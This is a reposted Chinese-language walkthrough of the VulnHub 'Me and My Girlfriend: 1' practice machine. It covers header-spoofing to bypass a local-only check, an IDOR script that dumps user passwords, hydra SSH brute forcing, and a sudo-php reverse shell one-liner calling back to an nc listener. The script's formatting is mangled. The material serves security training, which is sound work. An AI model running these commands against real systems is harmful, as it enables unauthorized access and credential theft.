Vulnhub Me-and-My-Girlfriend-1

admin 2024年4月9日13:14:10评论6 views字数 2348阅读7分49秒阅读模式

0x01 靶机介绍

  • Name: Me and My Girlfriend: 1

  • Date release: 13 Dec 2019

  • Author: TW1C3

  • Series: Me and My Girlfriend

  • Difficulty Level: Beginner

  • Notes: there are 2 flag files

  • Learning: Web Application | Simple Privilege Escalation

靶机下载地址:

https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

0x02 侦查

端口探测

使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.109 -oA nmap_Me-and-My-Girlfriend-1
Vulnhub Me-and-My-Girlfriend-1

扫描结果显示目标开放了22和80端口

80端口

访问http://192.168.0.109提示只能在本地进入站点

Vulnhub Me-and-My-Girlfriend-1

目录扫描

使用 gobuster 进行目录扫描,成功找到目录configmisc

gobuster dir -u http://192.168.0.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Vulnhub Me-and-My-Girlfriend-1

访问http://192.168.0.109/config/存在config.php

Vulnhub Me-and-My-Girlfriend-1

访问http://192.168.0.109/misc/存在process.php

Vulnhub Me-and-My-Girlfriend-1

0x03 上线[alice]

代理绕过

由于存在本地访问限制,可利用火狐插件 ModHeader 设置X-Forwarded-For127.0.0.1

Vulnhub Me-and-My-Girlfriend-1

绕过限制成功访问站点

Vulnhub Me-and-My-Girlfriend-1

水平越权

在注册页面http://192.168.0.109/?page=register上注册账户mac

Vulnhub Me-and-My-Girlfriend-1

成功登录后点击profile跳转至http://192.168.0.109/index.php?page=profile&user_id=12

Vulnhub Me-and-My-Girlfriend-1

当修改id参数值为1后页面发生变化,成功显示id为1的账号和密码,说明存在水平越权漏洞

Vulnhub Me-and-My-Girlfriend-1

通过 BurpSuite 抓取请求包如下:

GET /index.php?page=profile&user_id=1 HTTP/1.1Host: 192.168.0.109User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=562182c40f4h6hedm2t05fui03Upgrade-Insecure-Requests: 1X-Forwarded-For: 127.0.0.1

Vulnhub Me-and-My-Girlfriend-1

根据请求包编写脚本

#coding:utf-8 import requests import redef GetUserInfo(id):    headers = {'user-agent':'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0','X-Forwarded-For':'127.0.0.1'}    cookie = {'PHPSESSID':'562182c40f4h6hedm2t05fui03'}    response = requests.get(url="http://192.168.0.109/index.php?page=profile&user_id=%s"%id,headers=headers,cookies=cookie).text%    name=re.search('id="name"svalue="(.*?)">',response).group(1)    username=re.search('username"svalue="(.*?)"',response).group(1)    password=re.search('password"svalue="(.*?)"',response).group(1)    return name,username,passwordfor i in range(0,15):    name,username,password=(GetUserInfo(str(i)))    if name:        print (username+":"+password)

执行脚本获取用户名、密码

python3 get-user.py

Vulnhub Me-and-My-Girlfriend-1

SSH爆破

保存账号密码为字典并使用 hydra 进行爆破,成功拿到账号密码alice/4lic3

hydra -C userinfo ssh://192.168.0.109
Vulnhub Me-and-My-Girlfriend-1

登录用户并拿到第一个flag

ssh alice@192.168.0.109ls -lacd .my_secretcat flag1.txt

Vulnhub Me-and-My-Girlfriend-1

0x04 权限提升[root]

信息收集

查看当前 sudo 权限,以管理员权限执行 php 时无需密码

sudo -l

Vulnhub Me-and-My-Girlfriend-1

sudo提权

在本地开启监听

nc -nvlp 6666

配合 sudo 执行 PHP 拿到反弹shell

sudo php -r '$sock=fsockopen("192.168.0.106",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
Vulnhub Me-and-My-Girlfriend-1

成功拿到第二个flag

cat flag2.txt
Vulnhub Me-and-My-Girlfriend-1

0x05 知识星球

Vulnhub Me-and-My-Girlfriend-1

原文始发于微信公众号(狐狸说安全):Vulnhub Me-and-My-Girlfriend-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月9日13:14:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub Me-and-My-Girlfriend-1https://cn-sec.com/archives/2641016.html

发表评论

匿名网友 填写信息